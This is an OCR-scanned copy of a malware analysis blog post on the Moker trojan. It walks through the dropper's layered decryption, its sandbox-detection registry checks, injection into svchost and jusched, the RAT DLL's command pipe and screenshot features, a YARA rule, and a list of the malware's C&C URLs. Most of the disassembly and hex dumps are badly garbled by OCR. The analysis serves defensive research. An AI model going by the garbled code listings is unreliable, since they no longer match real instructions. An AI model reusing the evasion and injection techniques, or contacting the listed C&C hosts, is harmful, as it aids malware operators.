GE4CEEFR | . 2901 SUE ECH,EDR
GE4CEEFT 2940 Bl HOU DWORD FTR DS:[EDX+Em11,ECH
GE4CESFE 2097 S1@Eeee LEQ EDX,OWORD FTR OS:[EDI+@ExS1]
G CE PR S0SE SEFEFFF LER ECH,DOWORD FTR DSz [EEX-G:9751
G4 CEPRE 2901 SUE ECH,EDR
GE4CEFAD | . 294R @1 MDY DWORD PTR OS:[EDX+E=11,ECH
@E4CEFLE | . 6l FOPAD
GE4CEFLL | . 9 LERLE
EEESAEN . C2 @died BETH Gx4_ _  _

Till the new piece of code is fully revealed and ready to be called (see the fixed CALL target):

a6 1 28888 2

A6 1368881 o1

BE 138882 ER BAER4CHA
BB 128887 =35

A6 128882 21Cce

BE 12668687 2BE448C 18
BE12688E 22EZ 64
BE12681 1 =]

aaizealz 31Ce
AE1368a14 6 3EES
aE138a1v o1

BE126EE1:2 2ac1 1C
BE12EE1E =)

BE12EE1C EZ2 BBSEZAEE

FUSH EDH

FUSH ECH

HMaw EQE, moker_ba. <Modu leEntoyPoint »
FUSH EDX

#OR ECH,ECH

MO ERX, DWORD FTR S5: [ESP+ECE+E:18]
SUE ERX,Bnd

FUSH ERX

#OR ECH,ECH

HMau G, WORD PTR OS5: CEAX]

FUSH ECH

AOD ECK, @« 1C

PUSH ECH

CALL moker_ba. BE40552C

When the modifying function returns, execution falls into the line that performs a jump into the new code:

aEd4Ccr1z2 | . | ED

AR4CE122 | . | A2 16

* 3AL VELV4EEG
. FFE&

A

BE4CF12A

ARATE 1 D
4

IN ERX, Ox

TEST AL, Gule

MOW ERX. OWORD PTR OS: [Ex48177E]
JHP ERE

[al=Rrlr]

O5: [OE4E1 7 7E]1=001238008

ERH=HEE88EEHE

Hddress | Hex dump Disassembly

BE13Eaa8 == FUSH EDX

BAE13EaE1 51 FIJSH ECH

BAE13E8aa2 EA BBER4CEB MO EDE, moker_ba.<Modu leEntryPoint >
BAE 1 3E8ET E2 FUUSH EDX

The revealed code makes another layer — again allocating, decrypting and calling code.
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BE 1 2EEEE =] FUSH EDX moker_ba.{Modu leEntryPoint >
B3 1 SHEE 1 g1 FUSH ECH
G5 1 SEEEZ EA BBEEAR4CEHE MOL B0, moker_ba. <Modu leEntryPoint »
Ba1 380867 52 FUSH EDX moker_ba.{Modu leEntryPaint >
31 2EEES 31c9 HOR ECH, ECH
B3 1 28EEH 2B448C 18 MOL ERK, DWORD PTR SS5: [ESP+ECH+Ex 1G]
G131 SREEE S3ES 64 SUE EAX, 844
BE12EE11 =4a) FUSH ERX moker_ba.<Modu leEntruPoint
BE1568812 3109 #0R ECH, ECH
GE126EE14 &b 2BES HMaY C=, WORD PTR DS: CEAR]
BE128617 =y PUSH ECH
BE126EE1S 2301 1C AOD ECH, @x1C
HE 1 2EELE = PUSH ECH
ES BESEIA0E CALL moker_ba. 86405620 call VirtualAl loc
GE12EE2 1 59 POF ECH kerne | 22. YEEEICAS
G311 28822 j=a) POP EDH kerne | 22. YGEEICAS
B3 1 28823 FFaz FUSH OWORD FTR DS5: CEOX]
G5 1 SEEZE aFeq POF OWORD PTR DO5:LCEARI kerne | 22. PEEEZCAS
681 58827 g3cz 64 AOD EOH, B-4
3128820 5] PUSH ER& moker_ba.<Modu leEntryPoint >
G311 28628 23CHE 1C ADD EHH, Bx1C
B3 1 2BEZE g1 FUSH ECH
EE1 2EE2F =] FUSH ER= moker_ba.<Moduy leEntryFoint >
A6 1 20838 52 FUSH EDX moker_ba.<{Modu leEntryPaint >
ES ZRDS3968 CALL moker_ba.884C0Sc0 copy the encrupted chunk into the allocated mem.
B8 1 S8ESG 58 FOF ERX kerne | 32. FGAEICAS
3128857 2952 64 HMOL OWORD PTR OE: CEAR+@R41, EBR
G311 28E2H 2972 18 MOL OWORD PTR O5: CEAR+@R16]1,EDL moker_ba. BB4CEABE
G631 28830 2976 14 HMaL OWORD FTR DS:[EAR+@n141,ESI
B3 1 S8E4E 2968 18 MOL OWORD PTR O5:[EAR+@x12], EEF moker_ba. 68405204
63158843 a07a 1C LEA ESI,OWORD PTR DS: [EAX+Ex1C]
31 28844 ahzA LEA EEF,DWORD FTR DS: [EDH]
G311 28642 B POFP EEX kernel22. FGEEICAS
B3 1 2EE49 2Fd4G 62 FOF OWORD FTR DOS:[EAR+EHS] kerne | 32. FAAEICAS
B3 1 S8E4C 2F46 @C POF OWORD PTR DO5:[EAR+@RCI kerne | 22. PEEEZCAS
631 5884F 5F FOF EOI kerne | 32. FGAEICAS
31 2EEEE 23c4 64 ADD_ESF, Bx4
G311 28E52 GFBGc4s ES MOUZH EAX.BYTE PTR DS:[ESI-Ex1A]
A1 260857 =] FUSH EAX moker_ba.<{Modu leEntryPaint >
G5 1 SEEES g1 PUSH ECH
6E 1 SERES 56 FPUSH ESI
E2 7I4AZAEE CALL moker_ba. 8E404A02 decrypt copied
HE 1 2EHEF 290s MOL ER, EBX
B3 1 SHEE 1 2BEE EZ2 MaL E0¥, OWORD PTR DS: [ESI-8x15] moker_ba.<Modu leEntryPoint >
B3 1 SEEE G GiFs AOD EBEX,ESI
£E 1 SHEE G Z3EE SIE EEH, EBFP moker_ba. 88405204
FFO& CALL ESI call the decrypted code
B3 1 2BHER 23EE 1C SUE ESI,dx1C
B3 1 2EEE0 =ry FUSH EDI moker_ba. 884CEABE
G5 1 SEHEE =21 PUSH ESI
681 S8E5F SESE 64 MaL EEX, OWORD PTR OS: [ESI+@x4]
31 2E8E7T2 SB4E B2 MOL ECH, DWORD PTR OZ: [ESI+ExE]
G311 2867 2BEG BC MOL EC, DWORD PTR OS: [ESI+@xC]
B3] SEE7TE 2BFE 16 MaL EOT, OWORD PTR DS: [ESI+@x1@] moker_ba. 88481 14F
HE 1 S8E7TE 2BEE 12 MOL EEF, DWORD FTR DS: [ESI+Ex1E]
631 5887E 8B7: 14 MaL EST, OWORD PTR DS: [ESI+@x14]
G ] SEEE 1 E2 GREEZIDEE CALL moker_ba. BE4CEGE call WirtualFree
c32 RETH
4l
EST=BA14061C
Address |Hen dump Disassembly Comnent
Bal4aaic] E5 FLUSH EE moker_ba. 88405204
@al4Eai0l  29ES Moy EBF, ESF
GE14881F| 92EC 14 SUB ESP,@x14
BA148822 @ FLUSHAD
EE14EEZZ| C7Y45 F4 BECEEE| MOV OWORD PTR SS: [EEF-BXC1.8x8
GEl4aE2A| 2630 4F1148608 | CHP BYTE PTR DS:[Bu46114F]1, 816
@a14aEs1~ 75 14 JHE SHORT @8148647
HE148622 S 84 PUSH @x4
BE148835 &8 4B114686 FUSH @n4a114B
BE14EESA| &2 14B820EEE PUSH Br214
BE14885F| &5 52114686 PUSH @x481152 ASCII ™av~3el r2~r
GE1468844]  ED IN ERK,. DX I-0 command

The code chunks that provide some real functionality are always deployed via this type of proxy — that makes

execution flow more complicated.

Functionality

The dropper starts execution from the defensive checks, ensuring that it is not run in the controlled environment.

The following registry keys are searched:

"HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__" "HKEY_CURRENT_USER\Software\Trusteer\Rapport" "HKEY_L!

If all the checks passed, the application reads it’s own file from the disk and searches there for some typical

markers. An example of the search:
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A6 148843 SIC2 MOL ED, ERE
A6 14884E S3F2 848 CHF ECH, AniE
HE14E8E4E |~ 756 35 JEE SHORT B@148625
2122 30FF242E | CHMP DWORD PTR DS: [ERX], B 2EZ4FF20
FE 1 4EECE 75 29 JHE SHORT BE146631
2172 84 92C10g CHP DWORD PTR DS: [ERR+8541, 8: 20060192
BE14885F |- -75 28 JHE” SHORT 881488351
A8 148861 {BFBE?E (15 MOUEX EDIL.BYTE PTR OS: [EAA+EwS]
B3 1466865 S07E 832 LERA ESI.OWORD FTR DS:[EAX+EHT]

] |_|

Jump is taken

Address |Hex durmp HSCII

BEZEEEaaE( 40 SA 98 @8 @l oo B8 88|64 oD 16 88| FF FF B8 @8 MEC.B. ..+ k. ..
BEIEEELA( 46 A1 B8 B8 A OO B8 B840 00 BE B8 A0 OO0 BE BA(EA. .. ... 0 s.0e ..
BESEEEZE|( BB B0 B8 B8 A0 00 BE B8 A0 00 BE B8 A0 B0 BB BA| .. ... .cceeaeeea
AHSEEEZE( AE AR B8 A8 A0 B0 B BE| A0 B0 BE B8 20 B0 B8 B8( ... .00 000. .. Goo
BEZcEE4E( BE 1F BA GE) B@ B4 69 CO(21 B2 @1 4C) CD 21 B4 &2 AFIA.H. —*SBL—*Th
BEICEECHE &9 P2 28 VO 72 E6F &F FZ| &1 &0 28 &2/ &1 &E &E EF| i= program canno
BESEEEEE| 74 20 62 &5 26 F2 FE EE| 26 &9 &E 28|44 4F B3 28|t be run in DOS
BEZEEETE| &0 6F &4 &S| 2E B0 BA 24| A0 OO B8 88| A0 B0 B8 88| mode. . . F. . eaea ..
BEIEEE3E( 56 45 B8 88| 4C @1 B3 88 6B CZ Bl 4C) 88 00 0@ @8 PE..LE*.kTﬁL....
BESCEEIE| B0 BB G5 GO EA B8 BF A1|8E 81 @1 47| 88 3C 88 88| ....0.%6P00G6. 1.

The important thing is, those markers are present in the outermost layer — the original PE file (not the unpacked

one). Thanks to this feature, knowing them allowed to create a very simple YARA rule to identify Moker:

rule MokerTrojan { strings: $key = {3D FF 24 8B 92 C1 D6 9D}

The mentioned markers are used as indicators, after which the encrypted CnC address is stored.

Another feature, typical for Moker is mutex in the following format:

"Global\albp-"

The mutex prevents the application from being run more than once.

After the environment checks are passed, Moker unpacks the shellcode, that has capabilities of a downloader, and

injects it (along with the initial PE file) into svchost.

Stage 2

If the main DLL was successfully downloaded by the Stage 1, it is being further injected in the applications.
Example — Moker DLL injected into jusched (Java Update Scheduler):
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BRSCEREE | BREZGEE Map  BEG41662 R R

BE30PR6E | HEBEFEEE Friv BBEZ1084 Rl Rl
BESEPREE| BEEA1AEE[ jusched FE header Imag B1081082 R RIIE
BRSE1RGR| BEECSEEE| jusched | . tent code Imad B1EE1REZ R RIIE
BEAZE006E| Baa1AGEE| jusched | .rdata | imports Imaa 81061082 R RIIE
BENSA06E | AEERCEEE| jusched | . data data Imag B16G1GEZ R RUIE
BEASEEEE | BEE 1 48@8| jusched LR rESOUCTES Imag @laaloEz R RUE
BEAGABEE | BEEEZEEE | Jusched o e Lo relocat lons Irmag B1EE1606E2 R RUE
BRAZER0E | BEEEFGEE Hap  @@3641082 R R

F165P060 | BE8E168E Friv BEEZ1084 Rl Rl
81750000 | DEBRZAEE Friv BBEZ1184 Rl Guarded | Rl
B17SFAEE| BEEE1EEE stack of thread BEEEEZZC | Priv BREZ1184 Rl Guarded | Rl
Bi7I9R0E | BREME4EEE Hap  @@3641084 Rl Rl
B1B5G06N BBA35REG Friv BRAZ1A46 ElIE RIIE
ciccoeee -
81016866 ¢ [D] Dump - 01890000..01BCBFFF =N ECR (>N
21020663 G1E90860( 40 GA 34 12|63 08 99 03 B4 08 99 93 FF FF 09 00| HZddw...4... .. , [oO
81036800 F1ESGE1G|BE BB B9 BE| B0 O 6B 0D 48 BE PO B8 G5 B9 B0 BE| 5. . ..... . AUl
g1DsEaaa F1ESGHEG| BB BB BB G5 BH OF GF OD G0 B0 B0 OB O GO B0 BO| . ...o..o.o....- Rul
81E0G84 FIESHEZ0( A8 PR BE BE 0P B0 0O B0 GO B0 GO B FS G0 B8 B0[ ... Rl
B1ESEQGA 51E55G4G|GE IF BA BE B8 B4 G CO 21 B2 81 4C|C0 21 &4 &8[AWIAA. _*SBL—*Th Bl
81Fa0a8a FiESEESEH| 659 75 20 7E vE 6F 67 r2 61 &0 20 &3 &1 £E &E £F| is program canno Rl
g1F3raEn B1ESEE5EH| 74 28 62 65 2@ T2 75 6E 20 69 G6E 28 44 4F 53 2@\t be run in DO3 Rl
Bz150a88 FiEZPE7E| 60 6F &4 65 ZE B0 B0 BA 24 BF B3 B3 B8 B B0 P0| Fode. . . eSee.e.n. Bl
B215EQ@8 FiE5005E| 40 5B 91 94 60 10 81 DS @7 17 27 FE S0 BE &6F S7|L&Lim#@R-$ ilfos Bl
B2168080 FiESEE%E| 61 05 5% &C 96 FD 47 65 S0 BD 2B 6F AC 07 &5 85 HHEierGeri+x0ich Rl
g2430a80 B1E9GE05| 30 98 S5 G5 B4 AS 6B BF BA 71 F2 G4 25 9@ &7 4E| :TU4dakqlla. TIECH Rl
Bz43raga FiEZPEEE| 2A A4 25 BE D2 15 2F FE 46 B7 @6 A9 EQ 94 S0 20| GAHZ0E/GF - +edil* Bl
B24EBOGR FiE%P60E| 13 55 4F BF 9C 20 31 9B &7 F4 84 25 58 E9 88 BE| 10| v—1dg-emBl.2 Bl
BZEEa080 FiE2E606| 58 GG BC 21 VE BE 47 27 D6 65 7H 2F B85 58 11 26| P9 ¢35 fep P4 Rl
g27Caaun B1E9GEES| 6A 23 61 19 6% 95 CS FE E1 C5 @Y @B C2 CA E& 62 Jna+cs+-s+ =3k Rl
B290RAEE B1E9EEFE .Las, Bl
82300088 BiE5E10E a.@t Bl
B2CyBaBa FiE261168| 66 A1 OA B8 DO 95 0 G8 B0 CS B0 B6 00 6O 0D B8 JA... 08, .S, Rl
cet uasol axcosedl 61 ool o i - |
Ehrannan o FiEF15H| A 1A PR AR BA A B0 B3 A @R A1 AR B8 BE B0 PE[ . k.. 8. .20, .... Fue

This module is responsible for all the malicious actions performed by the malware — also, it actively

communicates with its CnC. Below you can see a sample POST request sent from inside the injected DLL:

[ 1BHE FE4 [=55] PUSH ED:
&8 3V34BCEl FUSH 1BC3437 ASCII "POST™
SB35 CCFCFFFF oL EHH OWORD FTR S5: [EEBF-3341
B1ERSFEE [={5] FLUSH ER
B1ERAEFEL ES ERF2FEFF CALL BIBBEEEB
B1ERAETEE S3C4 2@ RAOO ESP, =6
B1BRAEFED 2945 Fa MOL DWORD FTR S5: CEEF-181. EAX
B1BHEFEC 2370 _F@ B@ CHP DWORD PTR S5:[EEP-181, &
B1ERASFFE |~ 75 1IF JHE SHORT B1BASY91
B1BRSF?V2 C7YAS ECSCECEL @486 MOV DWORD PTR DS5: C1BCSCEC], 4
B1BRASFVL FF15 &23BZEEBE1 CALL DWORD FTR DS:[1EBEEZES] kernel32.GetLastError
B1ERAEFE2 A2 BESCECAL MOL DWORD PTR DS: [1IBCECES], EAX
B1EASFET |~ E9 91648068 JHMP B1BASCID
B1ERASFEC |~ E9 BCE4E806E8 JHF B1BASCID
B1EBHSFI1 Ce2E SCFCEFFFE 42 | MOU BMTE FTR S5: [EEF-2641], 4=
B1ERASF 2 CeS5 2DFCEFFFE &F | MOU BYTE PTR SS: [EEF-S621, cF
B1EBRSTIF Ce2S SEFCFFFF £E | MOU EYTE PIR SS [EEF-2621, cE
B1ERASFAE CeS85 9FFCEFFFE v4 | MOU BYTE PTR SS:CEEF-S6511, 74
B1ERASFAD CES85 ABFCEFFFE &5 | MOU ESTESETR SS:EEBP Se@], 55
B1BHSFE4 C&35 ALFCFFFFE EE | MOU BNMTESPTR SS:[EBP—SEF].EE
B1ERSFEE CeS85 AZFCEFFE w4 | MOU BYTE BPTR SS5: CEEF-SS5E1], 74
B1BHSFCE Ce35 HZFCEFFFE 20 | MOU BYTE PTR S5: [EEF-3501. =0
B1BRSFCS CeS5 RA4FCFFFF 54 | MOV BRTETETRISS:CEEF=35C1, 54
4
Stack S5:[B248F 123 1=0BCCEEES
ERF=BECCHEES
B1BC3437|(ASCIIT "POST™
B243FEAE B243F244 [ ASCII "-nnnnB4722. phpYpage=TESTHACHINES11_44203B348s=11%p=2. Bker=13.0"
B243FEA4 BEEEEEEE

If we try to dump the injected DLL, we can see, that it’s imported table has been destroyed — all the names of the

DLLs and imported functions are erased. However, using a dedicated tool I was able to recover it (see more here).

The DLL provides various features typical for RAT (they didn’t chang from the latest analysis in 2015, provided
here).

Code of the core DLL is written in a decent way, suggesting professionalism of the authors. However in contrary
to the dropper, the obfuscation used here is rather simple. Most of the strings and API calls are not obfuscated, or

obfuscated in a trivial way.

Looking inside the code, we can see references to the registry keys, observed during behavioral analysis, i.e.:
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get_dir_path{&UalueHame, &FileHame, {(int)lpThreadParameter);
if { sub_4983n8((int)&FileHame, {int)&lpBuffer, &chData, duBytes) )

while { hObject )
{
dwBytes = 5242888;
if { read_from _req({"6", (LPBYTE)LpBuffer, &duBytes) )// 6 -> the key with a PE file
cbhData = duBytes;
else
set_reg_walue("6", (BYTE =)lpBuffer, chData);
hFile = {HAMWDLE}-1;
hFile = CreateFileW{&FileHame, Ox80000000, Fu, @, 3Ju, 0x80u, 8);
if { hFile = {HAMDLE}-1 )}

uS = GetFileSize(hFile, @);
if { u5 )
{

if { u5 *= chDhata )
CloseHandle(hFile);
DeleteFileW(&FileHame) ;
hFile = (HANDLE)-1;

H
H

The DLL communicates not only with the CnC, but also with it’s other injected modules, using local sockets and

named pipes. An example below — starting a local socket for listening:

aouAZ4nld =or eax, eax

A84A24AA mov [ebp+name.sa family], ax

g04nAZ24B1 =or eCc¥, eCX

AB4A24B3 mov dword pty [ebp+name.sa_data], ecx
804A24B9 movw dword ptr [ebp+name.ca data+4], ecx
884A24BF mov dword ptr [ebp+name.sa data+8], ecx
B84A24C5 movw word ptr [ebp+name.sa_data+@Ch], cx
B84A2HCC movZX edx, [ebp+arg_#a]

A84A24DA push edx ; hostshort
8a4a24b1 call ds:htons

A84A24D7 mov word ptr [ebp+name.sa data], ax
A04AZ4DE movu eax, 2

B04A24E3 mou [ebp+name .53 _family], ax

AB4A2LHER push offset a127_ 8 8. 1. @8 ; "“27.8.8.1"
BA4A24EF call ds:inet_addr

B84A24FS mov dword ptr [ebp+name.sa_data+2], eax
AB4A2ZL4FB push 16h ; namelen
AB4A2LFD lea ecx, [ebp+name]
A84A25 83 push eCH ; name
A84A25 84 mov edx, [ebp+lpParameter]
804A250A movw eax, [edx]
B84A258C push eax .
AB4A258D call ds :bind
AB4A2513 cmp eax, BFFFFFFFFh
BBLA2E16 =z loc_4A2SEL
Y
=
B84A251C push BFFh ; bhacklog
884A2521 mov ecx, [ebp+lpParameter]
884A2527 mou edx, [ecx]
884A2529 push edx ;S
884A252A call ds:listen
ae4A25308 cmp eax, BFFFFFFFFh

The commands read from the ipe are parsed and executed:
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r
*{_DWORD =)lpHem = Buffer;
if ( tReadFile(hFile, (char *)lpHem + 4, Buffer - 4, &MNumberOfBytesRead, @) || NunberOfBytesRead t= Buffer — 4 )
{
check_heap{1plem});
DisconnectMamedPipe{hFile};
CloseHandle{hFile};
ExitThread{@);
H
deploy_command{hFile, (int)}1lpHem});
FlushFileBuffers{hFile);
check_heap{1plemn);
DisconnectHamedPipe{hFile}:

Basing on the command id, malware can be requested over pipe to execute some command or to create and save a

screenshot:

B04976DA

B04976DA loc_L276DA:

Aeu974DA mouzx eax, [ebp+command_num]
8a4976DE cmp eax, 1

80497 6E1 jnz short loc_ 4976F1

L

FIEE
a849276F1
804976F1 loc_u976F1:

aa4976F1 movzx edx, [ebp+command_ num]

ae4975F5 cmp edx, 2
Aau976F8 jnz short loc_497786
L ' Y
I
884976E3 mov ecd, [ebp+to_execute]| |9B4976FA mow eax, [ebp+hFile]
B04976EG6 push ecx aB4976FD push eax ; hFile
A84976E7 call exec_command ABL976FE kKall save_screenshot
884976EC add esp, 4 88497783 add esp, 4
B04976EF jmp short loc 497786
]
T N

Among the interesting features of this part is, it also provides access to it’s features via simple GUI. It may be

used for local tests, or. in case if the attackers prefer to access the victim machine via Remote Desktop.

vd = B;

strepy{ClassMane, “button™);

h¥Wnd = CreateWindowExA{Bx28Bu, "edit, 8, Bx58038866u, 18, 18, 538, 25, hWndParent, B8, hInstance, 8);

1pPrevindFunc = (WHDPROC)SetWindowLongA{hWnd, -4, (LOHG)sub_Y4A2C58);

DragAcceptFiles{hWnd, 1);

dword_4C5158 = CreatelindowExA({@, ClassHame, "select", @8x500380880u, 555, 18, 85, 26, hundParent, 8, hInstance, 8);
dword_4C515C CreateWindowExn{Bx2080u, "listbox™, B8, Ox50230000u, 18, 28, 530, 125, hYndParent, @, hInstance, 8);
dword_4C5168 = CreateWindowExA{B, ClassHame, “execute™, 6x50036800u, 555, 138, 85, 26, hWndParent, @, hInstance, 8);
dword_4C5164 CreateWindowExA{B, ClassHame, "screenshot", B8x58830080u, 555, 16%, 85, 26, hindParent, @, hInstance, 8);
dword 4C5168 = CreateWindowExn{B, ClassMame, “Stop?", Bx5083P00Bu, 555, 288, 85, 26, hWndParent, B, hInstance, 8);

CnC servers

List of the found CnC servers (one address per one sample):

http://bitmixc.ml/nnnn@4722.php http://bitmixc.ml/msnwiwoqg25.php http://matthi.tk/abbba’

Conclusion

Moker is a rare malware, but written by very skilled authors. Compilation timestamp of the core

module is 2015-05-03 00:40:11. This suggests that since its moment of appearance, still the same
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samples are in circulation, only they are repacked by different packers. This fact leads us to the
conclusion that the tool have been produced and sold on black market in 2015, after that possibly

abandoned by the original developers.
Appendix

https://breakingmalware.com/malware/moker-part-1-dissecting-a-new-apt-under-the-microscope/ — part 1

https://breakingmalware.com/malware/moker-part-2-capabilities/ — part 2

http://www.msreverseengineering.com/blog/2015/6/29/transparent-deobfuscation-with-ida-processor-module-

extensions — deobfuscating Yebot

This was a guest post written by Hasherezade, an independent researcher and programmer with a strong interest
in InfoSec. She loves going in details about malware and sharing threat information with the community. Check

her out on Twitter @hasherezade and her personal blog: https://hshrzd.wordpress.com.

Source: https://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/
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